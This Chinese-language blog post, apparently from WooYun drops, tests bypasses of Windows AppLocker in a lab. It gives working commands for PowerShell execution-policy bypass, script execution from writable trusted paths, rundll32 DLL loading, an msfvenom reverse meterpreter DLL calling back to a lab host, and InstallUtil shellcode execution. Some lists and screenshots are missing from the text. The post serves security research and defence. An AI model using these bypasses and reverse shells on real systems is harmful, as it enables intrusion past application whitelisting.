上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。
Windows AppLocker,即“應用程序控制策略”,可用來對可執行程序、安裝程序和腳本進行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise
如圖
AppLocker可對以下文件格式創建規則,限制其執行
下面我們就實際測試一下相關功能
測試環境:
#!bash
OS:Windows7 Ultimate x86
進入計算機管理-服務-Application Identity,將服務設置為開啟
如圖
輸入secpol.msc
進入本地安全策略-應用程序控制策略-AppLocker
或者gpedit.msc
-計算機配置-Windows設置-安全設置-應用程序控制策略-AppLocker
如圖
對可執行文件設置默認規則:
如圖
對腳本設置默認規則:
如圖
開啟默認規則后,除了默認路徑可以執行外,其他路徑均無法執行程序和腳本
通過測試發現設置的規則已經生效,能夠阻止信任路徑外的exe和腳本執行,但是對以下方面沒有做限制:
而我們已經掌握的繞過技術有:
再加上新學來的技巧,我們最終發現了如下可供利用的方法:)
成功
(可參照http://drops.wooyun.org/tips/10667)
可用來執行vbs和JavaScript腳本
提權到管理員權限,即可執行突破AppLocker的限制,執行exe和腳本
(1)可以執行ps腳本
#!bash
PowerShell.exe -ExecutionPolicy Bypass -File
(2)可以通過如下方式執行ps腳本
#!bash
Get-Content script.txt | iex
(3)可以利用快捷方式執行Powershell
成功
(可參照http://drops.wooyun.org/tips/10667)
既然可以執行powershell腳本,那么就可以反彈出meterpreter
然后嘗試進程注入
(可參照http://drops.wooyun.org/tips/11305)
如果注入到普通權限進程,無法執行exe和腳本
如果是system權限進程,可以執行exe和腳本
通過ps腳本掃描可寫入的路徑
下載地址:http://go.mssec.se/AppLockerBC
(如果無法下載,我已將該腳本上傳至Github)
測試如圖
執行后會自動掃描出可利用的路徑
比如選擇路徑:c:\Windows\Tasks
正常執行calc.js會被攔截
但是copy calc.js c:\Windows\Tasks
后
再執行c:\Windows\Tasks\calc.js
,可以繞過攔截
如圖
(1)執行JavaScript
a、直接彈回一個Http shell
(可參照http://drops.wooyun.org/tips/11764)
但無法繞過對執行exe和腳本的攔截
b、利用JavaScript執行powershell命令返回HTTP shell
(2)加載第三方dll
a、自己編寫的dll
參考資料:
http://blog.didierstevens.com/2010/02/04/cmd-dll/
按照dll的格式,自己編寫并生成dll上傳
執行
#!bash
rundll32.exe cmd.dll,Control_RunDLL
彈出一個cmd
如圖
b、反彈meterpreter
kali下:
#!bash
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
生成a.dll,然后上傳至測試主機
執行
#!bash
rundll32.exe a.dll,Control_RunDLL
即可上線
如圖
利用InstallUtil.exe直接執行shellcode 成功
如果有Microsoft .NET Framework 4.0環境,可用來執行exe
(可參照http://drops.wooyun.org/tips/8701,http://drops.wooyun.org/tips/8862)
成功
(可參照http://drops.wooyun.org/tips/10667)
隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防御,對此部分都要尤其重視。
而利用rundll32.exe的技巧,正在慢慢被發掘。
相關文件下載地址:
https://github.com/3gstudent/Bypass-Windows-AppLocker
本文由三好學生原創并首發于烏云drops,轉載請注明